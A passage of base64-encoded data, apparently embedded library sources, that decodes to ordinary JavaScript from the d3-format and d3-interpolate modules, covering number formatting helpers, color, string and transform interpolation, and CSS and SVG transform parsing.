tYXRQcmVmaXgoc3BlY2lmaWVyLCB2YWx1ZSkge1xuICAgICAgdmFyIGYgPSBuZXdGb3JtYXQoKHNwZWNpZmllciA9IGZvcm1hdFNwZWNpZmllcihzcGVjaWZpZXIpLCBzcGVjaWZpZXIudHlwZSA9IFwiZlwiLCBzcGVjaWZpZXIpKSxcbiAgICAgICAgICBlID0gTWF0aC5tYXgoLTgsIE1hdGgubWluKDgsIE1hdGguZmxvb3IoZXhwb25lbnQodmFsdWUpIC8gMykpKSAqIDMsXG4gICAgICAgICAgayA9IE1hdGgucG93KDEwLCAtZSksXG4gICAgICAgICAgcHJlZml4ID0gcHJlZml4ZXNbOCArIGUgLyAzXTtcbiAgICAgIHJldHVybiBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICByZXR1cm4gZihrICogdmFsdWUpICsgcHJlZml4O1xuICAgICAgfTtcbiAgICB9XG5cbiAgICByZXR1cm4ge1xuICAgICAgZm9ybWF0OiBuZXdGb3JtYXQsXG4gICAgICBmb3JtYXRQcmVmaXg6IGZvcm1hdFByZWZpeFxuICAgIH07XG4gIH1cblxuICB2YXIgbG9jYWxlO1xuICBkZWZhdWx0TG9jYWxlKHtcbiAgICBkZWNpbWFsOiBcIi5cIixcbiAgICB0aG91c2FuZHM6IFwiLFwiLFxuICAgIGdyb3VwaW5nOiBbM10sXG4gICAgY3VycmVuY3k6IFtcIiRcIiwgXCJcIl1cbiAgfSk7XG5cbiAgZnVuY3Rpb24gZGVmYXVsdExvY2FsZShkZWZpbml0aW9uKSB7XG4gICAgbG9jYWxlID0gZm9ybWF0TG9jYWxlKGRlZmluaXRpb24pO1xuICAgIGV4cG9ydHMuZm9ybWF0ID0gbG9jYWxlLmZvcm1hdDtcbiAgICBleHBvcnRzLmZvcm1hdFByZWZpeCA9IGxvY2FsZS5mb3JtYXRQcmVmaXg7XG4gICAgcmV0dXJuIGxvY2FsZTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHByZWNpc2lvbkZpeGVkKHN0ZXApIHtcbiAgICByZXR1cm4gTWF0aC5tYXgoMCwgLWV4cG9uZW50KE1hdGguYWJzKHN0ZXApKSk7XG4gIH1cblxuICBmdW5jdGlvbiBwcmVjaXNpb25QcmVmaXgoc3RlcCwgdmFsdWUpIHtcbiAgICByZXR1cm4gTWF0aC5tYXgoMCwgTWF0aC5tYXgoLTgsIE1hdGgubWluKDgsIE1hdGguZmxvb3IoZXhwb25lbnQodmFsdWUpIC8gMykpKSAqIDMgLSBleHBvbmVudChNYXRoLmFicyhzdGVwKSkpO1xuICB9XG5cbiAgZnVuY3Rpb24gcHJlY2lzaW9uUm91bmQoc3RlcCwgbWF4KSB7XG4gICAgc3RlcCA9IE1hdGguYWJzKHN0ZXApLCBtYXggPSBNYXRoLmFicyhtYXgpIC0gc3RlcDtcbiAgICByZXR1cm4gTWF0aC5tYXgoMCwgZXhwb25lbnQobWF4KSAtIGV4cG9uZW50KHN0ZXApKSArIDE7XG4gIH1cblxuICBleHBvcnRzLmZvcm1hdERlZmF1bHRMb2NhbGUgPSBkZWZhdWx0TG9jYWxlO1xuICBleHBvcnRzLmZvcm1hdExvY2FsZSA9IGZvcm1hdExvY2FsZTtcbiAgZXhwb3J0cy5mb3JtYXRTcGVjaWZpZXIgPSBmb3JtYXRTcGVjaWZpZXI7XG4gIGV4cG9ydHMucHJlY2lzaW9uRml4ZWQgPSBwcmVjaXNpb25GaXhlZDtcbiAgZXhwb3J0cy5wcmVjaXNpb25QcmVmaXggPSBwcmVjaXNpb25QcmVmaXg7XG4gIGV4cG9ydHMucHJlY2lzaW9uUm91bmQgPSBwcmVjaXNpb25Sb3VuZDtcblxuICBPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7IHZhbHVlOiB0cnVlIH0pO1xuXG59KSk7IiwiLy8gaHR0cHM6Ly9kM2pzLm9yZy9kMy1pbnRlcnBvbGF0ZS8gVmVyc2lvbiAxLjEuMi4gQ29weXJpZ2h0IDIwMTYgTWlrZSBCb3N0b2NrLlxuKGZ1bmN0aW9uIChnbG9iYWwsIGZhY3RvcnkpIHtcbiAgdHlwZW9mIGV4cG9ydHMgPT09ICdvYmplY3QnICYmIHR5cGVvZiBtb2R1bGUgIT09ICd1bmRlZmluZWQnID8gZmFjdG9yeShleHBvcnRzLCByZXF1aXJlKCdkMy1jb2xvcicpKSA6XG4gIHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCA/IGRlZmluZShbJ2V4cG9ydHMnLCAnZDMtY29sb3InXSwgZmFjdG9yeSkgOlxuICAoZmFjdG9yeSgoZ2xvYmFsLmQzID0gZ2xvYmFsLmQzIHx8IHt9KSxnbG9iYWwuZDMpKTtcbn0odGhpcywgKGZ1bmN0aW9uIChleHBvcnRzLGQzQ29sb3IpIHsgJ3VzZSBzdHJpY3QnO1xuXG5mdW5jdGlvbiBiYXNpcyh0MSwgdjAsIHYxLCB2MiwgdjMpIHtcbiAgdmFyIHQyID0gdDEgKiB0MSwgdDMgPSB0MiAqIHQxO1xuICByZXR1cm4gKCgxIC0gMyAqIHQxICsgMyAqIHQyIC0gdDMpICogdjBcbiAgICAgICsgKDQgLSA2ICogdDIgKyAzICogdDMpICogdjFcbiAgICAgICsgKDEgKyAzICogdDEgKyAzICogdDIgLSAzICogdDMpICogdjJcbiAgICAgICsgdDMgKiB2MykgLyA2O1xufVxuXG52YXIgYmFzaXMkMSA9IGZ1bmN0aW9uKHZhbHVlcykge1xuICB2YXIgbiA9IHZhbHVlcy5sZW5ndGggLSAxO1xuICByZXR1cm4gZnVuY3Rpb24odCkge1xuICAgIHZhciBpID0gdCA8PSAwID8gKHQgPSAwKSA6IHQgPj0gMSA/ICh0ID0gMSwgbiAtIDEpIDogTWF0aC5mbG9vcih0ICogbiksXG4gICAgICAgIHYxID0gdmFsdWVzW2ldLFxuICAgICAgICB2MiA9IHZhbHVlc1tpICsgMV0sXG4gICAgICAgIHYwID0gaSA+IDAgPyB2YWx1ZXNbaSAtIDFdIDogMiAqIHYxIC0gdjIsXG4gICAgICAgIHYzID0gaSA8IG4gLSAxID8gdmFsdWVzW2kgKyAyXSA6IDIgKiB2MiAtIHYxO1xuICAgIHJldHVybiBiYXNpcygodCAtIGkgLyBuKSAqIG4sIHYwLCB2MSwgdjIsIHYzKTtcbiAgfTtcbn07XG5cbnZhciBiYXNpc0Nsb3NlZCA9IGZ1bmN0aW9uKHZhbHVlcykge1xuICB2YXIgbiA9IHZhbHVlcy5sZW5ndGg7XG4gIHJldHVybiBmdW5jdGlvbih0KSB7XG4gICAgdmFyIGkgPSBNYXRoLmZsb29yKCgodCAlPSAxKSA8IDAgPyArK3QgOiB0KSAqIG4pLFxuICAgICAgICB2MCA9IHZhbHVlc1soaSArIG4gLSAxKSAlIG5dLFxuICAgICAgICB2MSA9IHZhbHVlc1tpICUgbl0sXG4gICAgICAgIHYyID0gdmFsdWVzWyhpICsgMSkgJSBuXSxcbiAgICAgICAgdjMgPSB2YWx1ZXNbKGkgKyAyKSAlIG5dO1xuICAgIHJldHVybiBiYXNpcygodCAtIGkgLyBuKSAqIG4sIHYwLCB2MSwgdjIsIHYzKTtcbiAgfTtcbn07XG5cbnZhciBjb25zdGFudCA9IGZ1bmN0aW9uKHgpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiB4O1xuICB9O1xufTtcblxuZnVuY3Rpb24gbGluZWFyKGEsIGQpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICByZXR1cm4gYSArIHQgKiBkO1xuICB9O1xufVxuXG5mdW5jdGlvbiBleHBvbmVudGlhbChhLCBiLCB5KSB7XG4gIHJldHVybiBhID0gTWF0aC5wb3coYSwgeSksIGIgPSBNYXRoLnBvdyhiLCB5KSAtIGEsIHkgPSAxIC8geSwgZnVuY3Rpb24odCkge1xuICAgIHJldHVybiBNYXRoLnBvdyhhICsgdCAqIGIsIHkpO1xuICB9O1xufVxuXG5mdW5jdGlvbiBodWUoYSwgYikge1xuICB2YXIgZCA9IGIgLSBhO1xuICByZXR1cm4gZCA/IGxpbmVhcihhLCBkID4gMTgwIHx8IGQgPCAtMTgwID8gZCAtIDM2MCAqIE1hdGgucm91bmQoZCAvIDM2MCkgOiBkKSA6IGNvbnN0YW50KGlzTmFOKGEpID8gYiA6IGEpO1xufVxuXG5mdW5jdGlvbiBnYW1tYSh5KSB7XG4gIHJldHVybiAoeSA9ICt5KSA9PT0gMSA/IG5vZ2FtbWEgOiBmdW5jdGlvbihhLCBiKSB7XG4gICAgcmV0dXJuIGIgLSBhID8gZXhwb25lbnRpYWwoYSwgYiwgeSkgOiBjb25zdGFudChpc05hTihhKSA/IGIgOiBhKTtcbiAgfTtcbn1cblxuZnVuY3Rpb24gbm9nYW1tYShhLCBiKSB7XG4gIHZhciBkID0gYiAtIGE7XG4gIHJldHVybiBkID8gbGluZWFyKGEsIGQpIDogY29uc3RhbnQoaXNOYU4oYSkgPyBiIDogYSk7XG59XG5cbnZhciByZ2IkMSA9IChmdW5jdGlvbiByZ2JHYW1tYSh5KSB7XG4gIHZhciBjb2xvciQkMSA9IGdhbW1hKHkpO1xuXG4gIGZ1bmN0aW9uIHJnYiQkMShzdGFydCwgZW5kKSB7XG4gICAgdmFyIHIgPSBjb2xvciQkMSgoc3RhcnQgPSBkM0NvbG9yLnJnYihzdGFydCkpLnIsIChlbmQgPSBkM0NvbG9yLnJnYihlbmQpKS5yKSxcbiAgICAgICAgZyA9IGNvbG9yJCQxKHN0YXJ0LmcsIGVuZC5nKSxcbiAgICAgICAgYiA9IGNvbG9yJCQxKHN0YXJ0LmIsIGVuZC5iKSxcbiAgICAgICAgb3BhY2l0eSA9IGNvbG9yJCQxKHN0YXJ0Lm9wYWNpdHksIGVuZC5vcGFjaXR5KTtcbiAgICByZXR1cm4gZnVuY3Rpb24odCkge1xuICAgICAgc3RhcnQuciA9IHIodCk7XG4gICAgICBzdGFydC5nID0gZyh0KTtcbiAgICAgIHN0YXJ0LmIgPSBiKHQpO1xuICAgICAgc3RhcnQub3BhY2l0eSA9IG9wYWNpdHkodCk7XG4gICAgICByZXR1cm4gc3RhcnQgKyBcIlwiO1xuICAgIH07XG4gIH1cblxuICByZ2IkJDEuZ2FtbWEgPSByZ2JHYW1tYTtcblxuICByZXR1cm4gcmdiJCQxO1xufSkoMSk7XG5cbmZ1bmN0aW9uIHJnYlNwbGluZShzcGxpbmUpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKGNvbG9ycykge1xuICAgIHZhciBuID0gY29sb3JzLmxlbmd0aCxcbiAgICAgICAgciA9IG5ldyBBcnJheShuKSxcbiAgICAgICAgZyA9IG5ldyBBcnJheShuKSxcbiAgICAgICAgYiA9IG5ldyBBcnJheShuKSxcbiAgICAgICAgaSwgY29sb3IkJDE7XG4gICAgZm9yIChpID0gMDsgaSA8IG47ICsraSkge1xuICAgICAgY29sb3IkJDEgPSBkM0NvbG9yLnJnYihjb2xvcnNbaV0pO1xuICAgICAgcltpXSA9IGNvbG9yJCQxLnIgfHwgMDtcbiAgICAgIGdbaV0gPSBjb2xvciQkMS5nIHx8IDA7XG4gICAgICBiW2ldID0gY29sb3IkJDEuYiB8fCAwO1xuICAgIH1cbiAgICByID0gc3BsaW5lKHIpO1xuICAgIGcgPSBzcGxpbmUoZyk7XG4gICAgYiA9IHNwbGluZShiKTtcbiAgICBjb2xvciQkMS5vcGFjaXR5ID0gMTtcbiAgICByZXR1cm4gZnVuY3Rpb24odCkge1xuICAgICAgY29sb3IkJDEuciA9IHIodCk7XG4gICAgICBjb2xvciQkMS5nID0gZyh0KTtcbiAgICAgIGNvbG9yJCQxLmIgPSBiKHQpO1xuICAgICAgcmV0dXJuIGNvbG9yJCQxICsgXCJcIjtcbiAgICB9O1xuICB9O1xufVxuXG52YXIgcmdiQmFzaXMgPSByZ2JTcGxpbmUoYmFzaXMkMSk7XG52YXIgcmdiQmFzaXNDbG9zZWQgPSByZ2JTcGxpbmUoYmFzaXNDbG9zZWQpO1xuXG52YXIgYXJyYXkgPSBmdW5jdGlvbihhLCBiKSB7XG4gIHZhciBuYiA9IGIgPyBiLmxlbmd0aCA6IDAsXG4gICAgICBuYSA9IGEgPyBNYXRoLm1pbihuYiwgYS5sZW5ndGgpIDogMCxcbiAgICAgIHggPSBuZXcgQXJyYXkobmIpLFxuICAgICAgYyA9IG5ldyBBcnJheShuYiksXG4gICAgICBpO1xuXG4gIGZvciAoaSA9IDA7IGkgPCBuYTsgKytpKSB4W2ldID0gdmFsdWUoYVtpXSwgYltpXSk7XG4gIGZvciAoOyBpIDwgbmI7ICsraSkgY1tpXSA9IGJbaV07XG5cbiAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICBmb3IgKGkgPSAwOyBpIDwgbmE7ICsraSkgY1tpXSA9IHhbaV0odCk7XG4gICAgcmV0dXJuIGM7XG4gIH07XG59O1xuXG52YXIgZGF0ZSA9IGZ1bmN0aW9uKGEsIGIpIHtcbiAgdmFyIGQgPSBuZXcgRGF0ZTtcbiAgcmV0dXJuIGEgPSArYSwgYiAtPSBhLCBmdW5jdGlvbih0KSB7XG4gICAgcmV0dXJuIGQuc2V0VGltZShhICsgYiAqIHQpLCBkO1xuICB9O1xufTtcblxudmFyIG51bWJlciA9IGZ1bmN0aW9uKGEsIGIpIHtcbiAgcmV0dXJuIGEgPSArYSwgYiAtPSBhLCBmdW5jdGlvbih0KSB7XG4gICAgcmV0dXJuIGEgKyBiICogdDtcbiAgfTtcbn07XG5cbnZhciBvYmplY3QgPSBmdW5jdGlvbihhLCBiKSB7XG4gIHZhciBpID0ge30sXG4gICAgICBjID0ge30sXG4gICAgICBrO1xuXG4gIGlmIChhID09PSBudWxsIHx8IHR5cGVvZiBhICE9PSBcIm9iamVjdFwiKSBhID0ge307XG4gIGlmIChiID09PSBudWxsIHx8IHR5cGVvZiBiICE9PSBcIm9iamVjdFwiKSBiID0ge307XG5cbiAgZm9yIChrIGluIGIpIHtcbiAgICBpZiAoayBpbiBhKSB7XG4gICAgICBpW2tdID0gdmFsdWUoYVtrXSwgYltrXSk7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNba10gPSBiW2tdO1xuICAgIH1cbiAgfVxuXG4gIHJldHVybiBmdW5jdGlvbih0KSB7XG4gICAgZm9yIChrIGluIGkpIGNba10gPSBpW2tdKHQpO1xuICAgIHJldHVybiBjO1xuICB9O1xufTtcblxudmFyIHJlQSA9IC9bLStdPyg/OlxcZCtcXC4/XFxkKnxcXC4/XFxkKykoPzpbZUVdWy0rXT9cXGQrKT8vZztcbnZhciByZUIgPSBuZXcgUmVnRXhwKHJlQS5zb3VyY2UsIFwiZ1wiKTtcblxuZnVuY3Rpb24gemVybyhiKSB7XG4gIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICByZXR1cm4gYjtcbiAgfTtcbn1cblxuZnVuY3Rpb24gb25lKGIpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICByZXR1cm4gYih0KSArIFwiXCI7XG4gIH07XG59XG5cbnZhciBzdHJpbmcgPSBmdW5jdGlvbihhLCBiKSB7XG4gIHZhciBiaSA9IHJlQS5sYXN0SW5kZXggPSByZUIubGFzdEluZGV4ID0gMCwgLy8gc2NhbiBpbmRleCBmb3IgbmV4dCBudW1iZXIgaW4gYlxuICAgICAgYW0sIC8vIGN1cnJlbnQgbWF0Y2ggaW4gYVxuICAgICAgYm0sIC8vIGN1cnJlbnQgbWF0Y2ggaW4gYlxuICAgICAgYnMsIC8vIHN0cmluZyBwcmVjZWRpbmcgY3VycmVudCBudW1iZXIgaW4gYiwgaWYgYW55XG4gICAgICBpID0gLTEsIC8vIGluZGV4IGluIHNcbiAgICAgIHMgPSBbXSwgLy8gc3RyaW5nIGNvbnN0YW50cyBhbmQgcGxhY2Vob2xkZXJzXG4gICAgICBxID0gW107IC8vIG51bWJlciBpbnRlcnBvbGF0b3JzXG5cbiAgLy8gQ29lcmNlIGlucHV0cyB0byBzdHJpbmdzLlxuICBhID0gYSArIFwiXCIsIGIgPSBiICsgXCJcIjtcblxuICAvLyBJbnRlcnBvbGF0ZSBwYWlycyBvZiBudW1iZXJzIGluIGEgJiBiLlxuICB3aGlsZSAoKGFtID0gcmVBLmV4ZWMoYSkpXG4gICAgICAmJiAoYm0gPSByZUIuZXhlYyhiKSkpIHtcbiAgICBpZiAoKGJzID0gYm0uaW5kZXgpID4gYmkpIHsgLy8gYSBzdHJpbmcgcHJlY2VkZXMgdGhlIG5leHQgbnVtYmVyIGluIGJcbiAgICAgIGJzID0gYi5zbGljZShiaSwgYnMpO1xuICAgICAgaWYgKHNbaV0pIHNbaV0gKz0gYnM7IC8vIGNvYWxlc2NlIHdpdGggcHJldmlvdXMgc3RyaW5nXG4gICAgICBlbHNlIHNbKytpXSA9IGJzO1xuICAgIH1cbiAgICBpZiAoKGFtID0gYW1bMF0pID09PSAoYm0gPSBibVswXSkpIHsgLy8gbnVtYmVycyBpbiBhICYgYiBtYXRjaFxuICAgICAgaWYgKHNbaV0pIHNbaV0gKz0gYm07IC8vIGNvYWxlc2NlIHdpdGggcHJldmlvdXMgc3RyaW5nXG4gICAgICBlbHNlIHNbKytpXSA9IGJtO1xuICAgIH0gZWxzZSB7IC8vIGludGVycG9sYXRlIG5vbi1tYXRjaGluZyBudW1iZXJzXG4gICAgICBzWysraV0gPSBudWxsO1xuICAgICAgcS5wdXNoKHtpOiBpLCB4OiBudW1iZXIoYW0sIGJtKX0pO1xuICAgIH1cbiAgICBiaSA9IHJlQi5sYXN0SW5kZXg7XG4gIH1cblxuICAvLyBBZGQgcmVtYWlucyBvZiBiLlxuICBpZiAoYmkgPCBiLmxlbmd0aCkge1xuICAgIGJzID0gYi5zbGljZShiaSk7XG4gICAgaWYgKHNbaV0pIHNbaV0gKz0gYnM7IC8vIGNvYWxlc2NlIHdpdGggcHJldmlvdXMgc3RyaW5nXG4gICAgZWxzZSBzWysraV0gPSBicztcbiAgfVxuXG4gIC8vIFNwZWNpYWwgb3B0aW1pemF0aW9uIGZvciBvbmx5IGEgc2luZ2xlIG1hdGNoLlxuICAvLyBPdGhlcndpc2UsIGludGVycG9sYXRlIGVhY2ggb2YgdGhlIG51bWJlcnMgYW5kIHJlam9pbiB0aGUgc3RyaW5nLlxuICByZXR1cm4gcy5sZW5ndGggPCAyID8gKHFbMF1cbiAgICAgID8gb25lKHFbMF0ueClcbiAgICAgIDogemVybyhiKSlcbiAgICAgIDogKGIgPSBxLmxlbmd0aCwgZnVuY3Rpb24odCkge1xuICAgICAgICAgIGZvciAodmFyIGkgPSAwLCBvOyBpIDwgYjsgKytpKSBzWyhvID0gcVtpXSkuaV0gPSBvLngodCk7XG4gICAgICAgICAgcmV0dXJuIHMuam9pbihcIlwiKTtcbiAgICAgICAgfSk7XG59O1xuXG52YXIgdmFsdWUgPSBmdW5jdGlvbihhLCBiKSB7XG4gIHZhciB0ID0gdHlwZW9mIGIsIGM7XG4gIHJldHVybiBiID09IG51bGwgfHwgdCA9PT0gXCJib29sZWFuXCIgPyBjb25zdGFudChiKVxuICAgICAgOiAodCA9PT0gXCJudW1iZXJcIiA/IG51bWJlclxuICAgICAgOiB0ID09PSBcInN0cmluZ1wiID8gKChjID0gZDNDb2xvci5jb2xvcihiKSkgPyAoYiA9IGMsIHJnYiQxKSA6IHN0cmluZylcbiAgICAgIDogYiBpbnN0YW5jZW9mIGQzQ29sb3IuY29sb3IgPyByZ2IkMVxuICAgICAgOiBiIGluc3RhbmNlb2YgRGF0ZSA/IGRhdGVcbiAgICAgIDogQXJyYXkuaXNBcnJheShiKSA/IGFycmF5XG4gICAgICA6IGlzTmFOKGIpID8gb2JqZWN0XG4gICAgICA6IG51bWJlcikoYSwgYik7XG59O1xuXG52YXIgcm91bmQgPSBmdW5jdGlvbihhLCBiKSB7XG4gIHJldHVybiBhID0gK2EsIGIgLT0gYSwgZnVuY3Rpb24odCkge1xuICAgIHJldHVybiBNYXRoLnJvdW5kKGEgKyBiICogdCk7XG4gIH07XG59O1xuXG52YXIgZGVncmVlcyA9IDE4MCAvIE1hdGguUEk7XG5cbnZhciBpZGVudGl0eSA9IHtcbiAgdHJhbnNsYXRlWDogMCxcbiAgdHJhbnNsYXRlWTogMCxcbiAgcm90YXRlOiAwLFxuICBza2V3WDogMCxcbiAgc2NhbGVYOiAxLFxuICBzY2FsZVk6IDFcbn07XG5cbnZhciBkZWNvbXBvc2UgPSBmdW5jdGlvbihhLCBiLCBjLCBkLCBlLCBmKSB7XG4gIHZhciBzY2FsZVgsIHNjYWxlWSwgc2tld1g7XG4gIGlmIChzY2FsZVggPSBNYXRoLnNxcnQoYSAqIGEgKyBiICogYikpIGEgLz0gc2NhbGVYLCBiIC89IHNjYWxlWDtcbiAgaWYgKHNrZXdYID0gYSAqIGMgKyBiICogZCkgYyAtPSBhICogc2tld1gsIGQgLT0gYiAqIHNrZXdYO1xuICBpZiAoc2NhbGVZID0gTWF0aC5zcXJ0KGMgKiBjICsgZCAqIGQpKSBjIC89IHNjYWxlWSwgZCAvPSBzY2FsZVksIHNrZXdYIC89IHNjYWxlWTtcbiAgaWYgKGEgKiBkIDwgYiAqIGMpIGEgPSAtYSwgYiA9IC1iLCBza2V3WCA9IC1za2V3WCwgc2NhbGVYID0gLXNjYWxlWDtcbiAgcmV0dXJuIHtcbiAgICB0cmFuc2xhdGVYOiBlLFxuICAgIHRyYW5zbGF0ZVk6IGYsXG4gICAgcm90YXRlOiBNYXRoLmF0YW4yKGIsIGEpICogZGVncmVlcyxcbiAgICBza2V3WDogTWF0aC5hdGFuKHNrZXdYKSAqIGRlZ3JlZXMsXG4gICAgc2NhbGVYOiBzY2FsZVgsXG4gICAgc2NhbGVZOiBzY2FsZVlcbiAgfTtcbn07XG5cbnZhciBjc3NOb2RlO1xudmFyIGNzc1Jvb3Q7XG52YXIgY3NzVmlldztcbnZhciBzdmdOb2RlO1xuXG5mdW5jdGlvbiBwYXJzZUNzcyh2YWx1ZSkge1xuICBpZiAodmFsdWUgPT09IFwibm9uZVwiKSByZXR1cm4gaWRlbnRpdHk7XG4gIGlmICghY3NzTm9kZSkgY3NzTm9kZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJESVZcIiksIGNzc1Jvb3QgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIGNzc1ZpZXcgPSBkb2N1bWVudC5kZWZhdWx0VmlldztcbiAgY3NzTm9kZS5zdHlsZS50cmFuc2Zvcm0gPSB2YWx1ZTtcbiAgdmFsdWUgPSBjc3NWaWV3LmdldENvbXB1dGVkU3R5bGUoY3NzUm9vdC5hcHBlbmRDaGlsZChjc3NOb2RlKSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZShcInRyYW5zZm9ybVwiKTtcbiAgY3NzUm9vdC5yZW1vdmVDaGlsZChjc3NOb2RlKTtcbiAgdmFsdWUgPSB2YWx1ZS5zbGljZSg3LCAtMSkuc3BsaXQoXCIsXCIpO1xuICByZXR1cm4gZGVjb21wb3NlKCt2YWx1ZVswXSwgK3ZhbHVlWzFdLCArdmFsdWVbMl0sICt2YWx1ZVszXSwgK3ZhbHVlWzRdLCArdmFsdWVbNV0pO1xufVxuXG5mdW5jdGlvbiBwYXJzZVN2Zyh2YWx1ZSkge1xuICBpZiAodmFsdWUgPT0gbnVsbCkgcmV0dXJuIGlkZW50aXR5O1xuICBpZiAoIXN2Z05vZGUpIHN2Z05vZGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50TlMoXCJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Z1wiLCBcImdcIik7XG4gIHN2Z05vZGUuc2V0QXR0cmlidXRlKFwidHJhbnNmb3JtXCIsIHZhbHVlKTtcbiAgaWYgKCEodmFsdWUgPSBzdmdOb2RlLnRyYW5zZm9ybS5iYXNlVmFsLmNvbnNvbGlkYXRlKCkpKSByZXR1cm4gaWRlbnRpdHk7XG4gIHZhbHVlID0gdmFsdWUubWF0cml4O1xuICByZXR1cm4gZGVjb21wb3NlKHZhbHVlLmEsIHZhbHVlLmIsIHZhbHVlLmMsIHZhbHVlLmQsIHZhbHVlLmUsIHZhbHVlLmYpO1xufVxuXG5mdW5jdGlvbiBpbnRlcnBvbGF0ZVRyYW5zZm9ybShwYXJzZSwgcHhDb21tYSwgcHhQYXJlbiwgZGVnUGFyZW4pIHtcblxuICBmdW5jdGlvbiBwb3Aocykge1xuICAgIHJldHVybiBzLmxlbmd0aCA/IHMucG9wKCkgKyBcIiBcIiA6IFwiXCI7XG4gIH1cblxuICBmdW5jdGlvbiB0cmFuc2xhdGUoeGEsIHlhLCB4YiwgeWIsIHMsIHEpIHtcbiAgICBpZiAoeGEgIT09IHhiIHx8IHlhICE9PSB5Yikge1xuICAgICAgdmFyIGkgPSBzLnB1c2goXCJ0cmFuc2xhdGUoXCIsIG51bGwsIHB4Q29tbWEsIG51bGwsIHB4UGFyZW4pO1xuICAgICAgcS5wdXNoKHtpOiBpIC0gNCwgeDogbnVtYmVyKHhhLCB4Yil9LCB7aTogaSAtIDIsIHg6IG51bWJlcih5YSwgeWIpfSk7XG4gICAgfSBlbHNlIGlmICh4YiB8fCB5Yikge1xuICAgICAgcy5wdXNoKFwidHJhbnNsYXRlKFwiICsgeGIgKyBweENvbW1hICsgeWIgKyBweFBhcmVuKTtcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiByb3RhdGUoYSwgYiwgcywgcSkge1xuICAgIGlmIChhICE9PSBiKSB7XG4gICAgICBpZiAoYSAtIGIgPiAxODApIGIgKz0gMzYwOyBlbHNlIGlmIChiIC0gYSA+IDE4MCkgYSArPSAzNjA7IC8vIHNob3J0ZXN0IHBhdGhcbiAgICAgIHEucHVzaCh7aTogcy5wdXNoKHBvcChzKSArIFwicm90YXRlKFwiLCBudWxsLCBkZWdQYXJlbikgLSAyLCB4OiBudW1iZXIoYSwgYil9KTtcbiAgICB9IGVsc2UgaWYgKGIpIHtcbiAgICAgIHMucHVzaChwb3AocykgKyBcInJvdGF0ZShcIiArIGIgKyBkZWdQYXJlbik7XG4gICAgfVxuICB9XG5cbiAgZnVuY3Rpb24gc2tld1goYSwgYiwgcywgcSkge1xuICAgIGlmIChhICE9PSBiKSB7XG4gICAgICBxLnB1c2goe2k6IHMucHVzaChwb3AocykgKyBcInNrZXdYKFwiLCBudWxsLCBkZWdQYXJlbikgLSAyLCB4OiBudW1iZXIoYSwgYil9KTtcbiAgICB9IGVsc2UgaWYgKGIpIHtcbiAgICAgIHMucHVzaChwb3AocykgKyBcInNrZXdYKFwiICsgYiArIGRlZ1BhcmVuKTtcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBzY2FsZSh4YSwgeWEsIHhiLCB5YiwgcywgcSkge1xuICAgIGlmICh4YSAhPT0geGIgfHwgeWEgIT09IHliKSB7XG4gICAgICB2YXIgaSA9IHMucHVzaChwb3AocykgKyBcInNjYWxlKFwiLCBudWxsLCBcIixcIiwgbnVsbCwgXCIpXCIpO1xuICAgICAgcS5wdXNoKHtpOiBpIC0gNCwgeDogbnVtYmVyKHhhLCB4Yil9LCB7aTogaSAtIDIsIHg6IG51bWJlcih5YSwgeWIpfSk7XG4gICAgfSBlbHNlIGlmICh4YiAhPT0gMSB8fCB5YiAhPT0gMSkge1xuICAgICAgcy5wdXNoKHBvcChzKSArIFwic2NhbGUoXCIgKyB4YiArIFwiLFwiICsgeWIgKyBcIilcIik7XG4gICAgfVxuICB9XG5cbiAgcmV0dXJuIGZ1bmN0aW9uKGEsIGIpIHtcbiAgICB2YXIgcyA9IFtdLCAvLyBzdHJpbmcgY29uc3RhbnRzIGFuZCBwbGFjZWhvbGRlcnNcbiAgICAgICAgcSA9IFtdOyAvLyBudW1iZXIgaW50ZXJwb2xhdG9yc1xuICAgIGEgPSBwYXJzZShhKSwgYiA9IHBhcnNlKGIpO1xuICAgIHRyYW5zbGF0ZShhLnRyYW5zbGF0ZVgsIGEudHJhbnNsYXRlWSwgYi50cmFuc2xhdGVYLCBiLnRyYW5zbGF0ZVksIHMsIHEpO1xuICAgIHJvdGF0ZShhLnJvdGF0ZSwgYi5yb3RhdGUsIHMsIHEpO1xuICAgIHNrZXdYKGEuc2tld1gsIGIuc2tld1gsIHMsIHEpO1xuICAgIHNjYWxlKGEuc2NhbGVYLCBhLnNjYWxlWSwgYi5zY2FsZVgsIGIuc2NhbGVZLCBzLCBxKTtcbiAgICBhID0gYiA9IG51bGw7IC8vIGdjXG4gICAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICAgIHZhciBpID0gLTEsIG4gPSBxLmxlbmd0aCwgbztcbiAgICAgIHdoaWxlICgrK2kgPCBuKSBzWyhvID0gcVtpXSkuaV0gPSBvLngodCk7XG4gICAgICByZXR1cm4gcy5qb2luKFwiXCIpO1xuICAgIH07XG4gIH07XG59XG5cbnZhciBpbnRlcnBvbGF0ZVRyYW5zZm9ybUNzcyA9IGludGVycG9sYXRlVHJhbnNmb3JtKHBhcnNlQ3NzLCBcInB4LCBcIiwgXCJweClcIiwgXCJkZWcpXCIpO1xudmFyIGludGVycG9sYXRlVHJhbnNmb3JtU3ZnID0gaW50ZXJwb2xhdGVUcmFuc2Zvcm0ocGFyc2VTdmcsIFwiLCBcIiwgXCIpXCIsIFwiKVwiKTtcblxudmFyIHJobyA9IE1hdGguU1FSVDI7XG52YXIgcmhvMiA9IDI7XG52YXIgcmhvNCA9IDQ7XG52YXIgZXBzaWxvbjIgPSAxZS0xMj